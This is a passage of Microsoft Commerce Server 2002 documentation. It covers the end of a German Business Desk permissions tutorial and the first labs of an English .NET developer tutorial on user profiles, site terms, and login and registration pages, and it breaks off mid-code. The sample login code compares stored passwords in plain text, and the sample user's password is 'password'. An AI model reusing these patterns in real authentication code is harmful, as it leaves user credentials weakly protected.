    Benutzername Geben Sie <Domäne>BAadmin ein.

    <Domäne> ist dabei der Name Ihrer Windows-Domäne.
    Kennwort | Geben Sie Kennwort2 ein.
  4. Klicken Sie auf OK.

    Wenn ein Benutzer zum ersten Mal über Internet Explorer auf Business Desk zugreift, wird das Dialogfeld Nach Ordner suchen angezeigt. Dieser Ordner enthält die HTA-Datei, die beim ersten Aufrufen von Business Desk über Internet Explorer erstellt wird. Auf dem Desktop wird auch eine Verknüpfung zu dieser Datei angezeigt.

  5. Wählen Sie im Dialogfeld Nach Ordner suchen den Ordner, in dem die HTA-Datei gespeichert werden soll, und klicken Sie anschließend auf OK.
  6. Klicken Sie in Internet Explorer im Fenster Status auf Business Desk starten.

    Daraufhin wird die Meldung Wird geladen, bitte warten und anschließend der Bildschirm Commerce Server: Willkommen bei Business Desk angezeigt. In Business Desk wird nur das Modul "Kataloge" angezeigt. Der Grund dafür ist, dass Sie diesem Benutzer in Lektion 6: Erteilen beschränkter Zugriffsrechte für Administratoren auf Business Desk nur Zugriff auf das Modul "Kataloge" und das Untermodul "Katalog-Editor" gewährt haben.

  7. Erweitern Sie das Modul "Kataloge", und klicken Sie dann auf Katalog-Editor.

    Der Bildschirm Kataloge wird angezeigt. Der Task Neu wird nicht auf der Symbolleiste angezeigt. Der Grund dafür ist, dass Sie in Schritt 2: Erteilen beschränkter Zugriffsrechte für das Konto "BAadmin" die Berechtigung zum Erstellen neuer Kataloge verweigert haben.

  8. Wählen Sie im Bildschirm Kataloge in der Spalte Name die Option Bürogeräte aus der Liste aus.

    Die Option Katalog öffnen ist in der Symbolleiste nicht verfügbar. Der Grund dafür ist, dass Sie dem Konto BAadmin nur beschränkte Zugriffsrechte auf den Katalog Bürogeräte gewährt haben.

  9. Klicken Sie auf Auswahl aufheben, um das Kontrollkästchen Bürogeräte zu deaktivieren.
  10. Wählen Sie im Bildschirm Kataloge in der Spalte Name die Option Virtueller Katalog aus der Liste aus.

    Die Option Katalog öffnen ist in der Symbolleiste nicht verfügbar. Der Grund dafür ist, dass Sie dem Konto BAadmin nur beschränkte Zugriffsrechte auf diesen Katalog gewährt haben.

  11. Klicken Sie auf Auswahl aufheben, um das Kontrollkästchen für den virtuellen Katalog zu deaktivieren.
  12. Wählen Sie im Bildschirm Kataloge in der Spalte Name die Option Büroartikel aus der Liste aus.

    Auf der Symbolleiste sind alle Tasks einschließlich des Tasks Katalog öffnen verfügbar.

  13. Klicken Sie auf Katalog öffnen, um den Katalog Büroartikel zu öffnen.
  14. Klicken Sie im Bildschirm Kataloginhalt – Büroartikel (Deutsch (Deutschland)) im Bereich Produkte auf Suchen.

    Die in Kurs 3 erstellten Druckerprodukte werden im Listenfeld Produkte angezeigt.

  15. Klicken Sie auf Zurück, um zum Bildschirm Kataloge zurückzukehren.

Sie haben nun sichergestellt, dass das Windows-Konto BAadmin lediglich Zugriff auf den Basiskatalog Büroartikel hat.

Damit haben Sie alle Kurse des Business-To-Business-Lernprogramms abgeschlossen.


Commerce Server Developer Tutorials

Commerce Server includes the following developer tutorials:

  • Commerce Server .NET Application Framework Tutorial. Provides step-by-step procedures for using the Commerce Server .NET Application Framework and Microsoft Visual Studio .NET to implement user management features, authentication, catalogs, order basket, pipelines, and campaigns.
  • Exploring the International Retail Site. Describes the main features of the site from the perspective of a user.


Commerce Server .NET Application Framework Tutorial

Microsoft Commerce Server 2002 provides tight integration with Microsoft Visual Studio .NET. This enables developers to make use of the integrated development environment to build and manage Commerce Server applications, and to use Microsoft .NET Application Framework and its tools.

The intended audience for this tutorial is the developer, and its goal is to provide limited exposure to the Visual Studio .NET integrated development environment as it is used with Commerce Server. It does not cover the entire functionality and features provided in the product.

Before you begin this tutorial, you must have installed both Microsoft Commerce Server 2002 with its .NET components and Microsoft Visual Studio .NET installed.

After following this step-by-step tutorial, you will be able to use the .NET features in Commerce Server 2002 to do the following:

  • Register and authenticate on your Web site
  • Build and implement your product catalog
  • Use orders, baskets, and pipelines
  • Target users with marketing campaigns
  • Use debugging and tracing features

This tutorial contains:

Preparing to Use the Tutorial

Lab 1: Implementing User Management and Authentication

Lab 2: Building and Implementing a Catalog

Lab 3: Implementing the Basket and Order Pipelines

Lab 4: Implementing Marketing Campaigns

Lab 5: Debugging Commerce Server 2002 in ASP .NET


Preparing to Use the Tutorial

Before you begin the tutorial, you need to do the following:

Create a New Commerce Server 2002 Project

Copying the Required Files

Configure Permissions for the ASPNET User

Install Commerce Server 2002 Business Desk


Create a New Commerce Server2002 Project

Feedback zu dieser Seite senden Commerce Server 2002

Create a New Commerce Server 2002 Project

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, in the Profile box, select Visual C# Developer from the drop-down list, and then, in the left navigation menu, click Get Started.
  3. Click New Project.
  4. In the New Project dialog box, do the following:
    Use this | To do this
    Project Types | Select Commerce Projects.
    Templates | From the list, select Commerce C# ASP.NET Web Application.
    Location | Type http://localhost/NorthwindTraders.
  5. Click OK. The Commerce Server Project Wizard starts.
  6. In the Welcome page, click Next.
  7. In the Quick Unpack dialog box, select the Use Windows Integrated security option, and then click Next.
  8. In the Data Warehouse dialog box, in the Name box, type NorthwindTraders_dw, and then click OK.
  9. In the Profiling System dialog box, click Next.
  10. In the second Profiling System dialog box, click OK.
  11. In the Commerce Server Site Packager dialog box, click OK.

A new Commerce Project in Visual C# is created.


Copying the Required Files

  1. Using Windows Explorer, navigate to the \Support\NET Tutorial Data\ folder on the Commerce Server 2002 CD.
  2. Copy the Pipelines folder to <drive:>\InetPub\wwwroot\NorthwindTraders\.
  3. Create the image folder under <drive:>\InetPub\wwwroot\NorthwindTrader\.
  4. Copy the following image files from the Catalog Data folder to <drive:>\InetPub\wwwroot\NorthwindTraders\image folder:
    • corner_up_lft.gif
    • header_black.jpg
    • header_banner.gif
    • right.gif
    • spacer.gif
    • spacer_tan.gif
  5. Create the campaign folder under <drive:>\InetPub\wwwroot\NorthwindTrader\images.
  6. Copy the contents of the \Catalog Data\Campaign Items to the <drive:>\InetPub\wwwroot\NorthwindTrader\images\campaign folder.


Configure Permissions for the ASPNET User

  1. Using the Windows Explorer, navigate to the <drive>\InetPub\wwwroot\NorthwindTrader\Pipelines folder, right-click the log folder, and then click Properties.
  2. In the log Properties dialog box, in the Security tab, click Add.
  3. In the Select Users, Computers, or Groups dialog box, do the following:
    Use this | To do this
    Look in | Select your computer name from the drop-down list.
    Name | Select the ASPNET from the list.
  4. Click Add, and then click OK.
  5. In the log Properties dialog box, in the Security tab, grant the ASPNET user Full Control, and then click OK.


Install Commerce Server 2002 Business Desk

  1. Click Start, point to Programs, and then click Internet Explorer.
  2. In the Address box, type http://localhost/NorthwindTradersBizdesk, and then press Enter.
  3. In the Browse for Folder dialog box, accept the default folder, or select another folder to store the HTML Application (HTA) file, and then click OK.

    The Business Desk Client Setup begins. If the Microsoft ActiveX controls have not been downloaded, troubleshooting tips are displayed in the upper section of the Business Desk Client Setup screen. Microsoft ActiveX controls are needed to install the Business Desk Client.

    In the lower section of the screen, check marks appear when each task is complete. When all four tasks are complete, the Business Desk installation is complete. A link to Business Desk is displayed at the bottom of the screen.

    Note

    • If you are unable to download the ActiveX controls, follow the instructions on the Business Desk Client Setup screen.
  4. When you have completed the Business Desk installation, close Internet Explorer.

The Business Desk icon now appears as a shortcut on your desktop and the Start menu.


Lab 1: Implementing User Management and Authentication

Using Commerce Server 2002 and the .NET development environment, you can customize user profiles to include user properties that meet your business needs. Using Visual Studio .NET, you can customize user profiles and map them to your Web applications for content personalization. For example, you can personalize your Web site based upon common characteristics (custom attributes) of your users, such as, age, gender, country, language, and so forth.

To add custom attributes you do the following:

  1. Allocate space within Microsoft SQL Server to store the custom attributes.
  2. Extend the user profile by adding data members.
  3. Create a new profile property for each new data member.
  4. Create the new site terms custom attributes.
  5. Link site terms to the User Object in the Profiles database.

    Note

  • If you are using a string data type for your custom field then you do not have to perform steps 4 and 5.

In this lab you will learn how to create custom user profile attributes, extend user profiles using Visual Studio .NET, add registered users in the Commerce Server Users Profile Database, create pages for authentication, log off, and new user registration.

Step 1: Create Custom User Profiles Attributes

Step 2: Extend the User Profile Using Visual Studio .NET

Step 3: Create Custom Properties

Step 4: Create New Site Terms

Step 5: Link the Site Terms Using Visual Studio .NET

Step 6: Create a New User Using Visual Studio .NET

Step 7: Add User Login and Logoff Pages

Step 8: Add a New User Registration Page


Step 1: Create Custom User Profiles Attributes

In this step you will create new database columns for two new user attributes (gender and user description).

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Microsoft SQL Servers, expand SQL Server Group, expand <Server Name>, expand Databases, expand NorthwindTraders_commerce, and then click Tables.

    Note

    • Make sure your SQL Server service has been started before proceeding to the following steps.
  3. In the tables list, right-click UserObject, and then select Design Table.
  4. In the Design Table 'UserObject' in 'NorthwestTraders_commerce' on <Server Name> window, scroll down to the bottom of the list, and then add the following two data members:
    Column Name | Data Type | Length | Allow Nulls
    u_gender | Char | 10 | Yes
    u_userDescription | Char | 20 | Yes

    Note

    • The Design Table displays all the data members present in the selected table.
  5. To save the data members click Save on the toolbar.
  6. Close Commerce Server Manager.


Step 2: Extend the User Profile Using Visual Studio .NET

In this step you will link the data members in the Commerce Server Profile Database with the Commerce Server User Profile System.

The data members created in Step 1 are the metadata that point to a database column in the user profile data. You must now create associated data members that point to the database column.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Commerce Server Manager.
  5. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Profiles(<Server Name>_NorthwindTraders_commerce), expand Profiles Catalog, expand Data Sources, expand ProfileService_SQLSource, expand Data Objects, right-click UserObject, and then select New Data Member.
  6. In the New Data Member dialog box, do the following:
    Use this | To do this
    Member Name | Select the u_gender data member from the list.
    Display Name | Type Gender.
    Type | Select the String data type for the data member.
  7. Click Add.
  8. In the New Data Member dialog box, do the following:
    Use this | To do this
    Member Name | Select the u_userDescription data member from the list.
    Display Name | Type User Description.
    Type | Select the String data type for the data member.
  9. Click Add, and then click Finish.


Step 3: Create Custom Properties

After you create additional columns for the User Object table and associate them with data members in Commerce Server Manager in Step 2, you create the actual profile attribute.

In the step you create a new profile property for each of the new data member.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Commerce Server Manager.
  5. In the Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Profiles(<Server Name>_NorthwindTraders_commerce), expand Profile Catalog, expand Profile Definitions, and then click User Object.

    Note

    • The User Object contains all the attributes of the User Profile.
  6. In the content pane, in the Properties list, expand General Information, and then click Add.
  7. In the Add – Web Page Dialog dialog box, select the Add a new property option from the list, and then click OK.
  8. In the Attributes section, do the following:
    Use this | To do this
    Name | Type u_gender.
    Display name | Type Gender.
    Description | Type a description for the property.
  9. In the Advanced Attributes section, do the following:
    Use this | To do this
    Active | Select Yes to specify that the new property is Active.
    Map to data Click the ellipsis […] button to open the Data Source Picker dialog box.

    In the Data Source Picker dialog box, expand ProfileService_SQLSource, expand User Object, and then select Gender (STRING) from the list.

    The data members available for the property are the data members that are not already used in the profile definition you are editing. Properties that are being used by the profile definition are unavailable.

    If you do not map the property to a data member, the property will not be stored in a database, but will be available in memory, for example to store state information while a user is visiting your Web site.

  10. Click OK to close the Data Source Picker dialog box, and then click Apply.
  11. Click Save on the toolbar to save the Gender property to the General Information for the User Object.
  12. In the content pane, in the Properties list, select General Information, and then click Add.
  13. In the Add – Web Page Dialog dialog box, select the Add a new property option from the list, and then click OK.
  14. In the Attributes section, do the following:
    Use this | To do this
    Name | Type u_userDescription.
    Display name | Type User Description.
    Description | Type a description for the property.
  15. In the Advanced Attributes section, do the following:
    Use this | To do this
    Active | Select Yes to specify that the new property is Active.
    Map to data Click the ellipsis […] button to open the Data Source Picker dialog box.

    In the Data Source Picker dialog box, expand ProfileService_SQLSource, expand User Object, and then select User Description (STRING) from the list.

  16. Click OK to close the Data Source Picker dialog box, and then click Apply.
  17. Click Save on the toolbar to save the User Description property to the General Information for the User Object.
  18. Close Commerce Server Manager.


Step 4: Create New Site Terms

Site terms are lists of the specific values that are pertinent to your site. You use a site term to assign this list of values to a property as an attribute. Using site terms you can standardize the values that are used throughout your site and to target products and advertisements to your users. You can also apply site terms to profile properties.

In this step, you will create a Gender site term, and define female and male as the possible values. When you create the profile property named Gender, and set the site term data type, only one of the possible values can be assigned to the profile.

After you have created your site terms, you will set up a user profile to include the site terms so you can later target an advertisement to those site users who match the user profile.

  1. Open the NorthwindTraders Business Desk.
  2. In Profiles, click Site Terms Editor.
  3. In the Site Terms Editor screen, select User Site Terms from the list, and then click Add.
  4. In the Add dialog box, select Add a new group from the list, and then click OK.
  5. In the Attributes section, do the following:
    Use this | To do this
    Name | Type PersonalInfo.
    Display name | Type Personal Information.
  6. Click Apply.
  7. In the Site term structure section, select Personal Information from the list, and then click Add.
  8. In the Add dialog box, select Add a new site-term from the list, and then click OK.
  9. In the Site Terms Editor screen, in the Site Term Attributes section, do the following:
    Use this | To do this
    Name | Type u_gender.
    Display Name | Type Gender.
  10. Click Apply.
  11. In the Site Terms Editor screen, in the Terms section, click New and then, do the following:
    Use this | To do this
    Term Name | Type Male as the name for the new term.
    Display Name | Type Male.
  12. To add the new term to the site term and display it in the term list, click Accept.
  13. In the Site Terms Editor screen, in the Terms section, click New and then, do the following:
    Use this | To do this
    Term Name | Type Female as the name for the new term.
    Display Name | Type Female.
  14. To add the new term to the site term and display it in the term list, click Accept.
  15. Click Apply, and the then click Save on the toolbar.
  16. In the Site term structure section, select Personal Info from the list, and then click Add.
  17. In the Add dialog box, select Add a new site-term from the list, and then click OK.
  18. In the Site Terms Editor screen, in the Site Term Attributes section, do the following:
    Use this | To do this
    Name | Type u_userDescription.
    Display Name | Type User Description.
  19. Click Apply.
  20. In the Site Terms Editor screen, in the Terms section, click New and then do the following:
    Use this | To do this
    Term Name | Type entrepreneur as the name for the new term.
    Display Name | Type Entrepreneur.
  21. To add the new term to the site term and display it in the term list, click Accept.
  22. In the Site Terms Editor screen, in the Terms section, click New and then, do the following:
    Use this | To do this
    Term Name | Type contractor as the name for the new term.
    Display Name | Type Contractor / Commercial Business.
  23. To add the new term to the site term and display it in the term list, click Accept.
  24. Click Apply, and the then click Save and go back on the toolbar.


Step 5: Link the Site Terms Using Visual Studio .NET

After you create new site terms using the Business Desk, you link them to user properties in the Commerce Server Profiles System using Visual Studio .NET.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Profile Definition Designer.
  5. In the Profiles screen, select the User Object from the list, and then click Open on the Business Desk toolbar.
  6. In the Properties list, expand General Information, and then select Gender from the list.
  7. In the Attributes section, do the following:
    Use this | To do this
    Type | Select the Site Term property type from the drop-down list.
    Type reference | Click the ellipsis Ellipsis button to open the Site Term Selection dialog box.
  8. In the Site Term Selection -- Web Page Dialog dialog box, expand User Site Terms, expand Personal Info, select Gender from the list, and then click OK.
  9. In Custom Attributes section, select sUserAccess from the list, click Edit, and change the Value to 1.

    Note

    • The sUserAcess custom attribute specifies registered user access to the property in the Customer Service page of the Web site. The value options for this custom attribute are as follows:

      0 = Hide from registered users

      1 = Read only

      2 = Editable

  10. Click Accept, and then click Apply.
  11. In the Properties list, under General Information, select User Description.
  12. In the Attributes section, do the following:
    Use this | To do this
    Type | Select the Site Term property type from the drop-down list.
    Type reference | Click the ellipsis Ellipsis button to open the Site Term Selection dialog box.
  13. In the Site Term Selection -- Web Page Dialog dialog box, expand User Site Terms, expand Personal Information, select User Description from the list, and the click OK.
  14. In Custom Attributes section, select sUserAccess from the list, click Edit, and change the Value to 1.
  15. Click Accept, and then click Apply.
  16. Click Save and go back on the toolbar.
  17. Perform an IIS Reset.

To verify that your changes are saved correctly, go back and view the User Object using Commerce Server Manager.


Step 6: Create a New User Using Visual Studio .NET

In Commerce Server Business Desk Profiles, you use the Users module to create, find, and update user profile information, such as assigning a user a new password. You use the Profile Definition Designer module to update the types of information you collect on your Web site.

The profile definition consists of profile properties, attributes, and optionally, site terms. Profile properties are the characteristics that specify the profile data to be collected, and each profile property has attributes. Attributes provide information about the property, such as, the data type of the property. For example, number, text, decimal, and site term. Attributes also provide information if the property is single-valued (for example, only one First Name is allowed), multi-valued, or indexed. The indexed attribute lets a user visiting the Web site to perform a search using the given property.

In this step you will add a new user using the Visual Studio .NET Integrated Commerce Server 2002 Components.

Note

  • If you have changed the properties in the User Object profile, your New User screen may not contain the same properties that are shown in this procedure.
  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, click Project on the toolbar, point to Commerce Server Project, and then select Business Desk.
  5. In Profiles, click Users.
  6. In the User Object screen, click New on the toolbar.
  7. In the New User Object screen, in the General information section, do the following:
    Use this | To do this
    Logon name | Type Mark.
    User password | Type password as the password for the new user.
    E-mail | Type mark.lee@microsoft.com.
    User type Select Registered user from the drop-down list.

    Typically, you will only create registered users.
    User title | Type Mr.
    Last name | Type Lee.
    First name | Type Mark.
    Telephone number | Type 425-555-5555.
    Telephone extension | Leave this blank.
    Fax number | Leave this blank.
    Fax extension | Leave this blank.
    Default Language | Select English from the drop-down list.
    Gender | Select Male from the drop-down list.
    User Description | Select Contractor / Commercial Business from the drop-down list.
  8. In the Account Info section, do the following:
    Use this | To do this
    Organization ID | Leave this blank.
    Account status From the drop-down list, specify Active Account.

    The default status is Active Account. Users with inactive accounts are not able to log in to your site.
    User catalog set From the drop-down list, select Registered User Default CatalogSet.

    This option limits the user Mark to ordering from the selected catalog set.

  9. In the Partner Service section, do the following:
    Use this | To do this
    Partner service role flags | From the drop-down list, select Normal User.
  10. To save the new user profile and return to the User Object screen, click Save and go back on the toolbar.

The new user profile is saved.


Step 7: Add User Login and Logoff Pages

In this step, you will add both user login and logoff pages to your Web site. Step-by-step instructions are provided to use the Visual Studio .NET interface and Commerce Server 2002 objects.

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type Login.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx window, click View on the toolbar, and then click Toolbox.
  7. In the Toolbox window, in the Web Forms box, drag and drop a Label object onto the form.
  8. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type userNameLabel.
    Text | Type Username:.
    Font | Expand this property
    Bold | Select True from the drop-down list.
  9. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  10. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type passwordLabel.
    Text | Type Password:.
    Font | Expand this property.
    Bold | Select True from the drop-down list.
  11. In the Toolbox window, in the Web Forms list, drag and drop a Button object onto the form.
  12. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type loginBtn.
    Text | Type Login.
    Font | Expand this property.
    Bold | Select True from the drop-down list.
  13. In the Toolbox window, in the Web Forms list, drag and drop a TextBox object onto the form, and place it right next to the Username label object.
  14. In the Properties window, make sure the object you just created is selected, and then in the ID property box type userName.
  15. In the Toolbox window, in the Web Forms list, drag and drop another TextBox object onto the form, and place it right next to the Password label object.
  16. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type password.
    TextMode Select Password from the drop-down list.

    This option will hide the contents of the text box.
  17. In the Toolbox window, in the Web Forms list, drag and drop a Label object onto the form, and place it right under the Login button object.
  18. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type messageLabel.
    Text | Clear the contents.
  19. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx window, in the Solution Explorer - NorthwindTraders window, click View Code.
  20. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx.cs window, in the using section, add the following lines of code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Profiles;
using System.Diagnostics;
  21. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx window, in the Solution Explorer - NorthwindTraders window, click View Designer.
  22. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx window, double-click the Login button.
  23. Press F5 to build the solution. A blank Default.aspx appears in the browser.
  24. Close the Internet browser.
  25. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx window, in the LoginBtn_Click event, add the following lines of code:
    AuthenticationInfo authInfo = CommerceContext.Current.AuthenticationInfo;
Profile prof;
ProfileContext profContext = CommerceContext.Current.ProfileSystem;
string pwd;

try
{
   prof = profContext.GetProfile(userName.Text, "UserObject");

   pwd = (string)prof.Properties["GeneralInfo.user_security_password"].Value;
   if(string.Compare(pwd, password.Text)==0)
   {
      //Extract the user's ID
      string userID = (string)prof.Properties["GeneralInfo.user_id"].Value;
      //Set the authorization ticket.
      authInfo.SetAuthTicket(userID, true, 200);
      //Create the profile ticket.
      authInfo.SetProfileTicket(userID, true);
      Response.Redirect("default.aspx");
   }

}
catch(Exception)
{
   messageLabel.Text = "Login failed!";
}
  26. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx.cs window, click Debug on the toolbar, and then click Stop Debugging.
  27. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx.cs window, in the Solution Explorer - NorthwindTraders window, right-click Login.aspx, and then select Set As Start Page.
  28. Press F5 to build and execute the project.

    The Internet Browser displays the login page.

  29. Close the Internet Browser window.
  30. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Login.aspx.cs window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  31. In the Add new Item - NorthwindTraders dialog box, in the Name box, type Logoff.aspx, and then click Open.
  32. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Logoff.aspx window, in the Solution Explorer - NorthwindTraders window, click View Code.
  33. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Logoff.aspx.cs window, in the using section, add the following lines of code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Profiles;
using System.Diagnostics;
  34. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Logoff.aspx window, in the Page_Load() method, add the following lines of code:
    CommerceContext.Current.AuthenticationInfo.AuthTicket.SignOut();
Response.Redirect("default.aspx");


Step 8: Add a New User Registration Page

In this step you will create a user registration page for the new users on your Web site. Using the registration page, users will create a login ID, specify their password, and any other custom attributes you specify.

To create a user registration page, you first create the UserRegistration.aspx Web form, and then add references to the Commerce Server 2002 objects as indicated in the following procedure.

In this step you will do the following:

  1. Insert Commerce Server classes.
  2. Design the UserRegistration.aspx page.
  3. Insert code into the submit_Click() handler.
  4. Insert code into the Page_Load() handler.
  5. Set UserRegistration.aspx as the start page.

To insert Commerce Server classes

To design the UserRegistration.aspx page

To insert code into the submit_Click() handler

To insert code into the Page_Load() handler

To set UserRegistration.aspx as the start page

To insert Commerce Server classes

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. In the Microsoft Development Environment [design] – Start Page screen, click Open Project.
  3. In the Open Project dialog box, select the NorthwindTraders project, and then click Open.
  4. In the NorthwindTraders – Microsoft Visual C# .NET [design] – Default.aspx window, in the Solution Explorer - NorthwindTraders window, right-click NorthwindTraders, point to Add, and then click Add Web Form.
  5. In the Add new Item - NorthwindTraders dialog box, in the Name box, type UserRegistration.aspx, and then click Open.
  6. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx window, in the Solution Explorer - NorthwindTraders window, click View Code.
  7. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx.cs window, in the using section, add the following lines of code:
    using Microsoft.CommerceServer.Runtime;
using Microsoft.CommerceServer.Runtime.Diagnostics;
using Microsoft.CommerceServer.Runtime.Profiles;
using System.Diagnostics;

To design the UserRegistration.aspx page

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx window, click View on the toolbar, and then click Toolbox.
  2. In the Toolbox window, in the Web Forms section, drag and drop a Label object onto the form.
  3. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type userNameLabel.
    Text | Type Username:.
  4. In the Toolbox window, in the Web Forms ?, drag and drop another Label object onto the form.
  5. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type passwordLabel.
    Text | Type Password:.
  6. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  7. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type passwordRetypeLabel.
    Text | Type Confirm Password:.
  8. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  9. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type firstNameLabel.
    Text | Type First Name:.
  10. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  11. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type lastNameLabel.
    Text | Type Last Name:.
  12. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  13. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type genderLabel.
    Text | Type Gender:.
  14. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  15. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type userDescriptionLabel.
    Text | Type User Description:.
  16. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  17. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type emailAddressLabel.
    Text | Type Email Address:.
  18. In the Toolbox window, in the Web Forms, drag and drop another Label object onto the form.
  19. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type messageLabel.
    Text | Clear the contents.
  20. Extend the messageLabel box across the bottom of the page.
  21. In the Toolbox window, in the Web Forms list, drag and drop a TextBox object onto the form, and place it right next to the Username label object.
  22. In the Properties window, make sure the object you just created is selected, and then in the ID property box type userName.
  23. In the Toolbox window, in the Web Forms list, drag and drop another TextBox object onto the form, and place it right next to the Password label object.
  24. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type password.
    TextMode Select Password from the drop-down list.

    This option will hide the contents of the text box.
  25. In the Toolbox window, in the Web Forms list, drag and drop another TextBox object onto the form, and place it right next to the Confirm Password label object.
  26. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type passwordRetype.
    TextMode Select Password from the drop-down list.

    The contents of the text box will be hidden.
  27. In the Toolbox window, in the Web Forms list, drag and drop a TextBox object onto the form, and place it right next to the First Name label object.
  28. In the Properties window, make sure the object you just created is selected, and then in the ID property box type firstName.
  29. In the Toolbox window, in the Web Forms list, drag and drop a TextBox object onto the form, and place it right next to the Last Name label object.
  30. In the Properties window, make sure the object you just created is selected, and then in the ID property box type lastName.
  31. In the Toolbox window, in the Web Forms list, drag and drop a TextBox object onto the form, and place it right next to the Email Address label object.
  32. In the Properties window, make sure the object you just created is selected, and then in the ID property box type emailAddress.
  33. In the Toolbox window, in the Web Forms list, drag and drop a DropDownList object onto the form, and place it right next to the User Description label object.
  34. In the Properties window, make sure the object you just created is selected, and then in the ID property box type userDescription.
  35. In the Toolbox window, in the Web Forms list, drag and drop a DropDownList object onto the form, and place it right next to the Gender label object.
  36. In the Properties window, make sure the object you just created is selected, and then in the ID property box type gender.
  37. In the Toolbox window, in the Web Forms list, drag and drop a Button object onto the form.
  38. In the Properties window, make sure the object you just created is selected, and then do the following:
    Use this | To do this
    ID | Type submit.
    Text | Type Submit.

To insert code into the submit_Click() handler

  1. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx window, double click the Submit button.
  2. In the NorthwindTraders – Microsoft Visual C# .NET [design] – UserRegistration.aspx.cs window, enter the following code in the submit_Click() event handler:
    // First, we need to see if there is already a user
// by that name on the site. If there is, we will
// need to error out but leave the fields filled
// in with the same data that they currently contain.
AuthenticationInfo authInfo = CommerceContext.Current.AuthenticationInfo;
ProfileContext profContext = CommerceContext.Current.ProfileSystem;
Profile prof;

try
{
// Having checked to see if there already is a user
// with that name on the site, we now need to create
